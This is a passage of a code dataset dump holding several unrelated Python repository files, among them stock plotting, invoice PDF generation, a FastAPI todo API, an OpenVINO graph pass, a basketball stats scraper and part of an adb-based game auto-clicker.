stocks)\nplt.ylabel('Frequency')\nplt.xlabel('Stock Symbol')\nplt.title('r/wallstreetbets Stock Frequency - Weekly')\n\nplt.show()\n\n\nconfig = {\n    \"alpha_vantage\": {\n        \"key\": \"\", \n        \"symbol\": \"WISH\", \n        \"outputsize\": \"compact\", \n        \"key_adjusted_close\": \"5. adjusted close\",\n    }, \n\n    \"data\": {\n        \"window_size\": 20,\n    }, \n\n    \"plots\": {\n        \"xticks_interval\": 1, \n        \"color_actual\": \"#001f3f\",\n    }\n}\n\ndef download_data(config):\n    ts = TimeSeries(key=config[\"alpha_vantage\"][\"key\"])\n    data = ts.get_daily_adjusted(config[\"alpha_vantage\"][\"symbol\"], outputsize=config[\"alpha_vantage\"][\"outputsize\"])\n\n    data_date = [date for date in data.keys()]\n    data_date.reverse()\n\n    data_close_price = [float(data[date][config[\"alpha_vantage\"][\"key_adjusted_close\"]]) for date in data.keys()]\n    data_close_price.reverse()\n    data_close_price = np.array(data_close_price)\n\n    num_data_points = len(data_date)\n    display_date_range = \"from \" + data_date[0] + \" to \" + data_date[num_data_points-1]\n    print(\"Number data points\", num_data_points, display_date_range)\n\n    return data_date, data_close_price, num_data_points, display_date_range\n\ndata_date, data_close_price, num_data_points, display_date_range = download_data(config)\n\nfig = figure(figsize=(25, 5), dpi=80)\nfig.patch.set_facecolor((1.0, 1.0, 1.0))\nplt.plot(data_date, data_close_price, color=config[\"plots\"][\"color_actual\"])\nxticks = [data_date[i] if ((i%config[\"plots\"][\"xticks_interval\"]==0 and (num_data_points-i) > config[\"plots\"][\"xticks_interval\"]) or i==num_data_points-1) else None for i in range(num_data_points)]\nx = np.arange(0,len(xticks))\nplt.xticks(x, xticks, rotation='vertical')\nplt.title(\"Daily close price for \" + config[\"alpha_vantage\"][\"symbol\"] + \", \" + display_date_range)\nplt.grid(b=None, which='major', axis='y', linestyle='--')\nplt.show()","repo_name":"EdwardKHKim/wsb","sub_path":"popular_wsb.py","file_name":"popular_wsb.py","file_ext":"py","file_size_in_byte":3299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"41067308219","text":"import jinja2\nimport pdfkit\n\nfrom datetime import datetime\n\nclient_name = \"my_name\"\n\ncompany_name = \"my_company\"\n\naddress = \"my_location_street\"\n\ncity = \"my_city\"\n\nemail = \"my_email@gmail.com\"\n\nmy_num = 1234\n\nitem1 = \"TV\"\n\nsubtotal1 = 19\n\nitem2 = \"Couch\"\n\nsubtotal2 = 20\n\nitem3 = \"Washing Machine\"\n\nsubtotal3 = 30\n\ntotal = subtotal1 + subtotal2 + subtotal3\n\ntoday_date = datetime.today().strftime(\"%d %b %Y\")\n\nmonth = datetime.today().strftime(\"%b\")\n\naccount_num = \"account_test\"\n\ninvoice_num = 5\n\ncontext = {\"client_name\": client_name,\n           \"company_name\": company_name,\n           \"address\": address,\n           \"city\": city,\n           \"email\": email,\n           \"my_num\": my_num,\n           \"item1\": item1,\n           \"subtotal1\": subtotal1,\n           \"item2\": item2,\n           \"subtotal2\": subtotal2,\n           \"item3\": item3,\n           \"subtotal3\": subtotal3,\n           \"total\": total,\n           \"today_date\": today_date,\n           \"month\": month,\n           \"account_num\": account_num,\n           \"invoice_num\": invoice_num\n           }\n\n#jinja2 is to prepare the template and the output text\ntemplate_loader = jinja2.FileSystemLoader('./')\ntemplate_env = jinja2.Environment(loader=template_loader)\n\ntemplate = template_env.get_template(\"my_template.html\")\noutput_text = template.render(context) #this is string\n\n#pdfkit is to generate the pdf from the template (html) using wkhtmltopdf\nconfig = pdfkit.configuration(wkhtmltopdf=\"/usr/bin/wkhtmltopdf\") #find the path on bash: which wkhtmltopdf\npdfkit.from_string(output_text, 'pdf_generated.pdf', configuration=config, css=\"my_style.css\") # we use \"from_string\" method because the output_text is a string\n","repo_name":"Donte04/invoice_app_1","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"17696249365","text":"import ast\n\n\ndef read_file(name):\n    f = open(name, \"r\")\n    return f.read()\n\n\ndef task1(data):\n    pairs = data.split(\"\\n\\n\")\n\n    indexes = []\n    for i, p in enumerate(pairs):\n        pair1, pair2 = p.split(\"\\n\")\n        p1 = ast.literal_eval(pair1)\n        p2 = ast.literal_eval(pair2)\n        res = compare_pair(p1, p2)\n        if res:\n            indexes.append(i + 1)\n\n    counter = sum(indexes)\n    return counter\n\n\ndef compare_pair(pair1, pair2):\n    for i, p in enumerate(pair1):\n        # Right side ran out of items\n        if i >= len(pair2):\n            return False\n        p2 = pair2[i]\n        if isinstance(p, list) or isinstance(p2, list):\n            p1 = convert_to_list(p)\n            p2 = convert_to_list(p2)\n            res = compare_pair(p1, p2)\n            if res is not None:\n                return res\n        else:\n            if p < pair2[i]:\n                return True\n            elif p > pair2[i]:\n                return False\n            else:\n                continue\n\n    if len(pair1) < len(pair2):\n        return True\n    elif len(pair1) > len(pair2):\n        return False\n    else:\n        return None\n\n\ndef convert_to_list(val):\n    new_val = val\n    if isinstance(val, int):\n        new_val = [val]\n    return new_val\n\n\ndef compare(p1, p2):\n    res = compare_pair(p2, p1)\n    if res == True:\n        return 1\n    elif res == False:\n        return -1\n    else:\n        return 0\n\n\ndef task2(data):\n    pairs = data.replace(\"\\n\\n\", \"\\n\")\n    pairs = pairs.split(\"\\n\")\n    pairs.append(\"[[2]]\")\n    pairs.append(\"[[6]]\")\n\n    converted_pairs = []\n    for p in pairs:\n        converted_pairs.append(ast.literal_eval(p))\n\n    import functools\n    converted_pairs.sort(key=functools.cmp_to_key(compare))\n    res = (converted_pairs.index([[2]]) + 1) * (converted_pairs.index([[6]]) + 1)\n    return res\n\n\ndata = read_file(\"input.txt\")\nprint(task1(data))\n\nprint(task2(data))\n","repo_name":"dkhmelenko/AoC-2022","sub_path":"day_13/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":1908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"29057633749","text":"import json\nfrom typing import List\n\nfrom fastapi import FastAPI, Query, Path, HTTPException\nfrom starlette.responses import JSONResponse\n\nfrom models import TodoItem\n\n\napp = FastAPI()\n\n# temporary until a real DB is in place\nwith open('todos.json') as f:\n    TODOS = json.load(f)\n\n\n@app.exception_handler(Exception)\nasync def error_handler(request, exc):\n    return JSONResponse({\n        'detail': f'{exc}'\n    })\n\n\n@app.get(\n    '/todos',\n    summary='Get a list of todo items',\n    tags=['todos'],\n    response_model=List[TodoItem],\n)\nasync def get_todos(\n    limit: int = Query(None, description='Limit the number of items returned', le=100)\n):\n    \"\"\"Get a list of things to do\"\"\"\n    return TODOS[0:limit]\n\n\n@app.get(\n    '/todos/{todo_id}',\n    summary='Get a single todo item',\n    tags=['todos'],\n    response_model=TodoItem,\n)\nasync def get_todo(\n    todo_id: int = Path(..., description='A todo item ID number to lookup')\n):\n    \"\"\"Get a single to do item\"\"\"\n    try:\n        return TODOS[todo_id - 1]\n    except IndexError:\n        raise HTTPException(404, 'Todo item not found')\n\n\n@app.post(\n    '/todos',\n    summary='Add a todo item',\n    tags=['todos'],\n    status_code=201,\n    response_model=TodoItem,\n)\nasync def create_todo(todo: TodoItem):\n    item = todo.dict()\n    item['id'] = len(TODOS) + 1\n    return item\n","repo_name":"madstacks/fastapi-todo-example","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"5249767316","text":"from DataPreProcess_1DataLoad import DataLoad\n\nclass NewFeatures():\n    def __init__(self):\n        self.ls_date = ['MONTH', 'WEEK', 'DATE', 'WEEKDAY', 'HOUR']\n\n    def expand_date_columns(self, df):\n        \"\"\"\n        주어진 데이터 프레임의 Date 칼럼의 데이터를 가지고 date 타입의 다양한 데이터 칼럼을 생성\n        :param df: 확장할 데이터 프레임\n        :return: 시간 데이터 칼럼이 추가된 데이터 프레임\n        \"\"\"\n        df['MONTH'] = df['DATE_TIME'].dt.month\n        df['WEEK'] = df['DATE_TIME'].dt.isocalendar().week\n        df['DATE'] = df['DATE_TIME'].dt.date\n        df['WEEKDAY'] = df['DATE_TIME'].dt.weekday  # 0 == Monday, 6 == Sunday\n        df['HOUR'] = df['DATE_TIME'].dt.hour\n\n        return df\n\n    def calculate_change_columns(self, df, colName_from, colName_new):\n        \"\"\"\n        주어진 데이터 프레임 내 칼럼의 행 간 변화량을 계산함 [val*100(%)]. 첫 행 NaN은 0으로 표기\n        :param df:\n        :param colName_from:\n        :param colName_new:\n        :return:\n        \"\"\"\n        df[colName_new] = df[colName_from].pct_change(periods=1)\n        df[colName_new].fillna(0, inplace=True)\n\n        return df\n\n    def generate_columns_withLagFeatures(self, df, col_feats, back_to):\n\n        log = {}\n        for col in col_feats:\n            ls_cols = []\n            ls_cols.append(col)\n            for t in range(1, back_to+1):\n                newCol_name = f\"{col}(t-{t})\"\n                ls_cols.append(newCol_name)\n                df[newCol_name] = df[col].shift(t)\n            log[col] = ls_cols\n\n        return df, log\n\n    def generate_columns_withWindowFeatures(self, df, col_feats, window_size):\n\n        methods = ['STD', 'MEAN', 'MAX', 'MIN', 'MEDIAN', 'SUM']\n        log = {}\n        ls_cols = []\n        for col in col_feats:\n            ls_cols.append(col)\n            rolling = df[col].rolling(window_size)\n            for mth in methods:\n                newCol_name = f\"{col}_{mth}({window_size})\"\n                if mth == 'MEAN':\n                    df[newCol_name] = rolling.mean()\n                elif mth == 'STD':\n                    df[newCol_name] = rolling.std()\n                elif mth == 'MEDIAN':\n                    df[newCol_name] = rolling.median()\n                elif mth == 'MIN':\n                    df[newCol_name] = rolling.min()\n                elif mth == 'MAX':\n                    df[newCol_name] = rolling.max()\n                elif mth == 'SUM':\n                    df[newCol_name] = rolling.sum()\n                ls_cols.append(newCol_name)\n                log[col] = ls_cols\n\n        return df, log\n","repo_name":"shadowcat0202/KAMP_Manufacturing_data_analysis","sub_path":"DataPreprocess_6NewFeatures.py","file_name":"DataPreprocess_6NewFeatures.py","file_ext":"py","file_size_in_byte":2656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"29174218277","text":"# attribution to https://github.com/theitrain/watermark/blob/master/watermark.py\n\nimport os\nfrom PIL import Image\n\nEXTS = ('.jpg', '.png')\n\n\ndef addWatermark(path, lgo, pos='bottomright'):\n    logo = Image.open(lgo)\n    logoWidth = logo.width\n    logoHeight = logo.height\n\n    for filename in os.listdir(path):\n        if any([filename.lower().endswith(ext) for ext in EXTS]) and filename != lgo:\n            image = Image.open(path + '/' + filename)\n            imageWidth = image.width\n            imageHeight = image.height\n\n            wpercent = ((imageWidth//6)/float(logo.size[0]))\n            hsize = int((float(logo.size[1])*float(wpercent)))\n            logo = logo.resize(((imageWidth//6), hsize), Image.ANTIALIAS)\n\n            logoWidth = logo.width\n            logoHeight = logo.height\n\n            if pos == 'topleft':\n                image.paste(logo, (0, 0), logo)\n            elif pos == 'topright':\n                image.paste(logo, (imageWidth - logoWidth, 0), logo)\n            elif pos == 'bottomleft':\n                image.paste(logo, (0, imageHeight - logoHeight), logo)\n            elif pos == 'bottomright':\n                image.paste(logo, (imageWidth - logoWidth,\n                                   imageHeight - logoHeight), logo)\n            elif pos == 'center':\n                image.paste(logo, ((imageWidth - logoWidth)//2,\n                                   (imageHeight - logoHeight)//2), logo)\n            else:\n                print('Error: ' + pos + ' is not a valid position')\n                print(\n                    'Adding watermark')\n\n            image.save(path + '/' + filename)\n            return image\n","repo_name":"alswang18/imageRepository","sub_path":"images/watermark.py","file_name":"watermark.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"13023003669","text":"import numpy as np\n\nfrom mo.front.common.layout import get_features_dim, shape_for_layout\nfrom mo.graph.graph import Graph\nfrom mo.middle.replacement import MiddleReplacementPattern\nfrom mo.ops.const import Const\nfrom mo.ops.op import Op\nfrom mo.ops.reshape import Reshape\n\n\nclass Eltwise1DInputReshape(MiddleReplacementPattern):\n    \"\"\"\n    Inserts Reshape before 1-D input to Eltwise if another input of Eltwise is multi-dimensional tensor with the\n    same feature size as 1-D input\n\n    Replacer is useful in cases of layout change in MO (for example NHWC-> NCHW translation of TensorFlow models)\n\n    Example:\n    Eltwise Mul operation in TF multiplies Tensors by feature dimension with shapes [1,375,500,24] and [24].\n    After layout change in MO Eltwise Mul have input shapes [1,24,375,500] and [24]. It is a problem (500!=24).\n    We have to insert Reshape layer for Tensor with [24] shape to correspond the feature dimension of\n    Tensor [1,24,375,500] shape\n\n    change of graph.graph['layout'] may cause an issue\n    change in re-layout function: convert_nhwc_to_nchw(graph) may cause an issue\n    \"\"\"\n    enabled = False\n\n    def run_after(self):\n        return [EltwiseInputReshape]\n\n    def find_and_replace_pattern(self, graph: Graph):\n        layout = graph.graph['layout']\n        for eltwise_op_node in graph.get_op_nodes(is_eltwise=True):\n                out_shape = eltwise_op_node.out_port().data.get_shape()\n                if 4 <= len(out_shape) <= 5:\n                    out_features = out_shape[get_features_dim(layout, len(out_shape))]\n                    for port, node in eltwise_op_node.in_nodes().items():\n                        if len(node.shape) != len(out_shape) and len(node.shape) == 1 and out_features == node.shape[0]:\n                            new_shape = shape_for_layout(layout, batch=1, features=out_features, height=1, width=1,\n                                                         depth=1 if len(out_shape) == 5 else None)\n                            dim_const = Const(graph, {'value': new_shape, 'name': node.id + '/Dim'}).create_node()\n                            reshape_op = Reshape(graph, attrs={'dim': new_shape, 'name': node.id + '/Broadcast'}).create_node()\n\n                            eltwise_op_node.in_port(port).get_source().node.out_port(0).get_connection().set_destination(reshape_op.in_port(0))\n                            reshape_op.in_port(1).connect(dim_const.out_port(0))\n\n                            reshape_op.out_port(0).connect(eltwise_op_node.in_port(port))\n\n\nclass EltwiseInputReshape(MiddleReplacementPattern):\n    enabled = True\n    force_clean_up = True\n\n    def run_after(self):\n        from extensions.middle.pass_separator import MiddleStart\n        return [MiddleStart]\n\n    def find_and_replace_pattern(self, graph: Graph):\n        for node in graph.get_data_nodes():\n            # Get all requested shapes for current node\n            # This mapping will contain pairs like {shape:[list of consumers nodes]}\n            mapping = {}\n            for consumer in node.out_nodes():\n                edge_attrs = graph.get_edge_data(node.id, consumer.id)[0]\n                if 'new_shape' in edge_attrs:\n                    if np.array_equal(edge_attrs['new_shape'], node.shape):\n                        continue\n                    new_shape = tuple([x for x in edge_attrs['new_shape']])\n                    if not new_shape in mapping:\n                        mapping.update({new_shape: [consumer]})\n                    else:\n                        mapping[new_shape].append(consumer)\n\n            if node.has_valid('value'):\n                # Check that requested shape are the same\n                # In case if they are different, we duplicate them\n                for shape_key in mapping.keys():\n                    shape = list(shape_key)\n                    new_value = np.reshape(node.value, shape)\n                    node_copy = Op.create_input_data_node(graph, node.id + '/copy', value=np.array(new_value))\n                    for consumer in mapping[shape_key]:\n                        edge_attrs = graph.get_edge_data(node.id, consumer.id)[0]\n                        del edge_attrs['new_shape']\n\n                        # Remove edge from previous data node and connect new data node with its consumer\n                        graph.remove_edge(node.id, consumer.id)\n                        graph.add_edge(node_copy.id, consumer.id, **edge_attrs)\n            else:\n                # Insert Reshape layer between data node and consumer\n                for shape_key in mapping.keys():\n                    shape = list(shape_key)\n                    reshape = Reshape(graph, attrs={'name': 'EltwiseReshapeNormalization'})\n                    reshape_dim = Const(graph, {'value': shape}).create_node_with_data()\n                    reshape_data = reshape.create_node_with_data(inputs=[node, reshape_dim])\n\n                    # Iterate over consumers and reconnect them to Reshape layer output\n                    for consumer in mapping[shape_key]:\n                        edge_attrs = graph.get_edge_data(node.id, consumer.id)[0]\n                        del edge_attrs['new_shape']\n\n                        # Reconnect edge from original data node to Reshape output datanode\n                        graph.remove_edge(node.id, consumer.id)\n                        graph.add_edge(reshape_data.id, consumer.id, **edge_attrs)\n","repo_name":"Namptiter/OpenVINO-Darknet-YOLOv3","sub_path":"model_optimizer/extensions/middle/EltwiseInputReshape.py","file_name":"EltwiseInputReshape.py","file_ext":"py","file_size_in_byte":5416,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"}
+{"seq_id":"8235936155","text":"#########################################################################\n# File Name: basicstructure.py\n# Author: Jun M\n# mail: warrior97@gmail.com\n#########################################################################\n\n# !/usr/bin/env python\nclass BinaryTreeNode(object):\n    def __init__(self, val=0, left=None, right=None, parent=None,\n                 color=None):\n        self.val = val\n        self.left = left\n        self.right = right\n        self.parent = parent\n        self.color = color\n\n\n    def __str__(self):\n        if self.color:\n            return self.color + str(self.val)\n        else:\n            return str(self.val)\n\n\nclass Linkednode(object):\n    def __init__(self, val, next_node=None):\n        self.val = val\n        self.next_node = next_node\n\n\nclass MaxHeap(object):\n\n    def __init__(self, nums=[]):\n        self.nums = nums\n\n\n    def max_heapify(self, end, node_index):\n        \"\"\"\n        In a max heap, the root node is the largest element in the list,\n        and a heap is a complete binary tree, so it can be stored in a\n        list. The left and right children of node i is i*2 and i*2+1\n        :param node_index: max_heapify the heap whose root is nums[i]\n        \"\"\"\n        left = node_index * 2 + 1\n        right = node_index * 2 + 2\n\n        largest = node_index\n        if left < end and (self.nums[node_index] < self.nums[\n            left]):\n            largest = left\n\n        if right < end and (self.nums[right] > self.nums[\n            largest]):\n            largest = right\n\n        if largest != node_index:\n            self.nums[largest], self.nums[node_index] = self.nums[\n                                                            node_index], self.nums[largest]\n            self.max_heapify(end, largest)\n\n\n    def build_max_heap(self):\n        for i in xrange(len(self.nums)/2 - 1, -1, -1):\n            self.max_heapify(len(self.nums), i)\n\n\n    def heap_sort(self):\n        \"\"\"\n        Failed initially because I use nums[:i] instead of num itself\n        with a boundary end i. The problem is that Python will make\n        a copy of nums[:i] instead of modify it directly. So each time\n        I call max_heapify(nums[:i]), the actual nums will not be\n        changed. Be careful of changing a list through functions.\n        When calling build_max_heap, each node should be the maximum\n        in its heap. So the maximum of node[1] and node[2] must\n        be the largest one of the next round, and it will recursively\n        use max_heapify to maintain the rule of its subheaps, so we\n        do not need to call build_max_heap again\n        \"\"\"\n        length = len(self.nums)\n        self.build_max_heap()\n        for i in xrange(length-1, 0, -1):\n            self.nums[0], self.nums[i] = self.nums[i], self.nums[0]\n            self.max_heapify(i, 0)\n\n\nclass Vertex(object):\n    def __init__(self, val, color=\"white\", distance=99999, pre=None,\n                 timestamp=0):\n        self.val = val\n        self.color = color\n        self.pre = pre\n        self.distance = distance\n        self.timestamp = timestamp\n\n    #Way to create a static method, no \"self\" needed in the argument\n    # list\n    @staticmethod\n    def create_vertex_list(names):\n        rtype = [Vertex(name) for name in names]\n        return rtype\n\n    def __str__(self):\n        return \"val:{} col:{} dis:{}\".format(str(self.val), self.color,\n                                  self.distance)\n\n\nclass Edge(object):\n    def __init__(self, start, end, weight=1):\n        self.start = start\n        self.end = end\n        self.weight = weight\n\n    def __str__(self):\n        return \"<{},{}>({})\".format(self.start, self.end, self.weight)","repo_name":"james97/MyPracticeCodes","sub_path":"Python/crack/datastructure/basicstructure.py","file_name":"basicstructure.py","file_ext":"py","file_size_in_byte":3677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"26438733066","text":"import requests\nimport unidecode\nfrom datetime import datetime\nfrom bs4 import BeautifulSoup\n\nfrom models import PlayerInfo\n\nimport time\n\n_URL = 'https://www.basketball-reference.com/players/%c/'\n_ALPHABET = ('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p',\n    'q','r','s','t','u','v','w','x','y','z')\n\ndef get_players_infos(letters: ()=_ALPHABET, sleep_time: int=0) -> []:\n    players = []  \n    for letter in letters:\n        time.sleep(sleep_time)\n        html = get_players_infos_html(letter.lower())\n        parsed_players = parse_players_infos_table_html(html)\n\n        if parsed_players != None:\n            players.extend(parsed_players)\n    \n    return players\n\ndef get_players_infos_html(letter: str) -> BeautifulSoup:\n    req = requests.get(_URL % letter)\n\n    if req.status_code != 200:\n        return None\n\n    all_html = BeautifulSoup(req.text, features='html.parser')\n\n    table = all_html.find('table', id='players')\n    table_body = table.find('tbody')\n    return table_body\n\ndef parse_players_infos_table_html(table: BeautifulSoup) -> []:\n\n    if table == None:\n        return None\n    \n    players_list = []\n\n    rows = table.find_all('tr')\n\n    for row in rows:\n        # name and playerID are stored in each rows table header\n        name = row.find(\"th\").text\n        link = row.select_one('a').attrs['href']\n\n        # need to format name and player id\n        name = unidecode.unidecode(name)    # convert to ascii\n        hall_of_fame = False\n        if name[-1] == '*':\n            name = name[0:-1]\n            hall_of_fame = True\n        player_id = link.split('/')[3]      # extract playerID.html\n        player_id = player_id.split('.')[0] # remove the '.html'\n\n        # grab all table data for the row\n        cols = row.find_all('td')\n\n        # extract remaining data\n        year_from = int(cols[0].text)\n        year_to = int(cols[1].text)\n        position = cols[2].text\n        height = _convert_to_inches(cols[3].text)\n        weight = None\n        if cols[4].text != None and cols[4].text != '':\n            weight = int(cols[4].text)\n        birthdate = _reformat_birthdate(cols[5].text)\n        colleges = cols[6].text\n\n        # nullify empty strings\n        if position == '':\n            position = None\n        if birthdate == '':\n            birthdate = None\n        if colleges == '':\n            colleges = None\n\n        # construct playerinfo object\n        player = PlayerInfo(player_id, name, year_from, year_to, position,\n            height, weight, birthdate, colleges, hall_of_fame)\n        \n        # add to the list\n        players_list.append(player)\n    \n    return players_list\n\ndef _convert_to_inches(height_str: str) -> int:\n    \"\"\" Utility function to convert feet-inches to inches \"\"\"\n    if height_str == None or height_str == '':\n        return None\n    else:\n        feet = int(height_str.split('-')[0])\n        inches = int(height_str.split('-')[1])\n        return (feet * 12) + inches\n\ndef _reformat_birthdate(birthdate: str) -> str:\n    if birthdate == None or birthdate == '':\n        return None\n    else:\n        return datetime.strptime(birthdate, '%B %d, %Y').strftime('%Y-%m-%d')","repo_name":"Randall16/Basketball_Stats_Backend","sub_path":"basketball_stats/parse_players_infos.py","file_name":"parse_players_infos.py","file_ext":"py","file_size_in_byte":3172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"26113506687","text":"import json\nimport os\nimport random\nfrom gc import collect\nfrom os.path import abspath, dirname\nfrom re import search\nfrom time import sleep, localtime, strftime\n\nfrom win32gui import GetWindowText\n\nfrom modules.ModuleClickModSet import ClickModSet\nfrom modules.ModuleDoClick import DoClick\nfrom modules.ModuleGetConfig import ReadConfigFile\nfrom modules.ModuleGetPos import GetPosByTemplateMatch, GetPosBySiftMatch\nfrom modules.ModuleGetScreenCapture import GetScreenCapture\nfrom modules.ModuleGetTargetInfo import GetTargetPicInfo\nfrom modules.ModuleHandleSet import HandleSet\nfrom modules.ModuleImgProcess import ImgProcess\n\n\ndef time_transform(seconds):\n    \"\"\"\n    转换时间格式 秒—>时分秒\n    :param seconds: 秒数\n    :return: 时分秒格式\n    \"\"\"\n    m, s = divmod(seconds, 60)\n    h, m = divmod(m, 60)\n    run_time = \"%02d时%02d分%02d秒\" % (h, m, s)\n    return run_time\n\n\nclass StartMatch:\n\n    def __init__(self, gui_info):\n        super(StartMatch, self).__init__()\n        self.connect_mod, self.target_modname, self.hwd_title, self.click_deviation, self.interval_seconds, self.loop_min, self.compress_val, self.match_method, self.scr_and_click_method, self.custom_target_path, self.process_num, self.handle_num = gui_info\n        rc = ReadConfigFile()\n        self.other_setting = rc.read_config_other_setting()\n\n    def set_init(self, set_priority_status):\n        \"\"\"\n        获取待匹配的目标图片信息、计算循环次数、时间、截图方法\n        :return: 循环次数、截图方法、图片信息、每次循环大约需要执行的时间\n        \"\"\"\n        # 参数初始化\n        target_modname = self.target_modname\n        custom_target_path = self.custom_target_path\n        # 获取待检测目标图片信息\n        print('<br>目标图片读取中……')\n        target_info = GetTargetPicInfo(target_modname, custom_target_path,\n                                       compress_val=1).get_target_info  # 目标图片不压缩（本身就小）\n        if target_info is None:\n            return None\n\n        target_img_sift, target_img_hw, target_img_name, target_img_file_path, target_img = target_info\n\n        print(f'<br>读取完成！共[ {len(target_img)} ]张图片\\n{target_img_name}')\n        print(\"<br>--------------------------------------------\")\n\n        # 程序初始化时，如果设置的wifi或远程连接，先使用adb connect 连接设备\n        if self.connect_mod != 'Windows程序窗体':\n            HandleSet.deal_cmd(abspath(dirname(__file__)) + r'\\adb.exe kill-server')\n            print(\"<br>正在尝试连接！如果失败请使用以下cmd命令重置adb，或使用USB连接手机后重试\")\n            print(\"<br>--------------------------------------------\")\n            print(rf\"<br>{abspath(dirname(__file__))}\\adb.exe kill-server\")\n            print(rf\"<br>{abspath(dirname(__file__))}\\adb.exe devices\")\n            print(\"<br>--------------------------------------------\")\n            adb_device_connect_status, device_id = HandleSet.adb_device_status()\n            if adb_device_connect_status:\n                print(rf\"<br>已连接至：[ {device_id[0]} ]\")\n            else:\n                print(\"<br>连接失败！\"\n                      \"<br>\"\n                      f\"<br>若使用模拟器或局域网连接安卓手机，请修改config配置：\"\n                      f\"<br>adb_wifi_status = True\"\n                      f\"<br>adb_wifi_ip = 'ip及端口号'\"\n                      f\"<br>局域网使用，请先用USB连接安卓手机，打开调试模式！\"\n                      f\"<br>以下是各个模拟器默认端口号，但建议使用windows程序模式，也同时兼容以下几种模拟器：\"\n                      f\"<br>MuMu模拟器：127.0.0.1:7555\"\n                      f\"<br>夜神模拟器：127.0.0.1:62001\"\n                      f\"<br>逍遥模拟器：127.0.0.1:21503\"\n                      f\"<br>腾讯手游助手：127.0.0.1:6555\"\n                      f\"<br>雷电模拟器：无需配置config文件\"\n                      \"<br>\"\n                      \"<br>--------------------------------------------\")\n\n            # print(\"<br>连接中……\")\n            if self.other_setting[8]:\n                try:\n                    print(f\"<br>正在尝试连接 [ {self.other_setting[9]} ] ……\")\n                    command = abspath(dirname(__file__)) + rf'\\adb.exe connect {self.other_setting[9]}'\n                    HandleSet.deal_cmd(command)\n                except Exception as e:\n                    print(f\"<br>连接出现异常，或设备无响应！{e}\")\n                    return None\n\n        elif self.connect_mod == 'Windows程序窗体':\n            if search(\"模拟器\", self.hwd_title) and not search(\"雷电模拟器\", self.hwd_title):\n                HandleSet.deal_cmd(abspath(dirname(__file__)) + r'\\adb.exe kill-server')\n                print(\"<br>正在尝试连接模拟器！如果失败请使用以下cmd命令重置adb\")\n                print(rf\"<br>{abspath(dirname(__file__))}\\adb.exe kill-server\")\n                print(rf\"<br>{abspath(dirname(__file__))}\\adb.exe devices\")\n                sleep(2)\n                if search(\"MuMu模拟器\", self.hwd_title):\n                    HandleSet.deal_cmd(abspath(dirname(__file__)) + rf'\\adb.exe connect 127.0.0.1:7555')\n                elif search(\"夜神模拟器\", self.hwd_title):\n                    HandleSet.deal_cmd(abspath(dirname(__file__)) + rf'\\adb.exe connect 127.0.0.1:62001')\n                elif search(\"逍遥模拟器\", self.hwd_title):\n                    HandleSet.deal_cmd(abspath(dirname(__file__)) + rf'\\adb.exe connect 127.0.0.1:21503')\n                elif search(\"腾讯手游助手\", self.hwd_title):\n                    HandleSet.deal_cmd(abspath(dirname(__file__)) + rf'\\adb.exe connect 127.0.0.1:6555')\n\n                adb_device_connect_status, device_id = HandleSet.adb_device_status()\n                if adb_device_connect_status:\n                    print(rf\"<br>已连接至：[ {device_id[0]} ]\")\n                    print(\"<br>--------------------------------------------\")\n\n        # 设置游戏进程优先级，避免闪退（部分电脑可能有bug，会报错）\n        if set_priority_status:\n            if self.process_num == '多开' and self.connect_mod == 'Windows程序窗体':\n                handle_num_list = str(self.handle_num).split(\",\")\n                if handle_num_list[0] == '' or handle_num_list[0] == '0' or handle_num_list[0] is None:\n                    print(\"<br>【运行异常：请选择待匹配目标窗口！】\")\n                    return None\n                for handle_num_loop in range(len(handle_num_list)):\n                    handle_num = int(handle_num_list[handle_num_loop])\n                    handle_set = HandleSet('', handle_num)\n                    if not handle_set.handle_is_active(self.process_num):\n                        print(\"<br>【运行异常：未选择待匹配目标程序，或程序异常终止！】\")\n                        return None\n                    handle_set.set_priority(int(self.other_setting[6]))\n            elif self.process_num == '单开' and self.connect_mod == 'Windows程序窗体':\n                if self.hwd_title == '' or self.hwd_title is None:\n                    print(\"<br>【运行异常：请选择待匹配目标窗口！】\")\n                    return None\n                handle_set = HandleSet(self.hwd_title, 0)\n                if not handle_set.handle_is_active(self.process_num):\n                    print(\"<br>【运行异常：未选择待匹配目标程序，或程序异常终止！】\")\n                    return None\n                handle_set.set_priority(int(self.other_setting[6]))\n\n        return target_info\n\n    def matching(self, connect_mod, handle_num, scr_and_click_method, screen_method, debug_status, match_method,\n                 compress_val, target_info, click_mod1, click_mod2, run_status, match_status, stop_status, flag_mark):\n        \"\"\"\n        核心代码~\n        :param connect_mod: 运行方式，windows或安卓\n        :param handle_num: windows句柄编号\n        :param scr_and_click_method: 是否兼容模式运行，两种方法不同\n        :param screen_method: 截图方法\n        :param debug_status: 是否启用调试模式\n        :param match_method: 匹配方法、模板匹配、特征点匹配\n        :param compress_val: 压缩参数，越高越不压缩\n        :param target_info: 匹配目标图片\n        :param run_status: 运行状态\n        :param match_status: 匹配状态\n        :param stop_status: 终止状态\n        :param click_mod1: 随机点击模型（小偏移）\n        :param click_mod2: 随机点击模型（大偏移）\n        :param flag_mark: 是否已点击mark标记图片，已点击的不再点击\n        :return: 运行状态、匹配状态\n        \"\"\"\n\n        target_img_sift, target_img_hw, target_img_name, target_img_file_path, target_img = target_info\n        click_mod = click_mod1  # 默认使用精确点击模型\n\n        # 获取截图\n        print('<br>正在截图…')\n        screen_img = None\n        if connect_mod == 'Windows程序窗体':\n            # 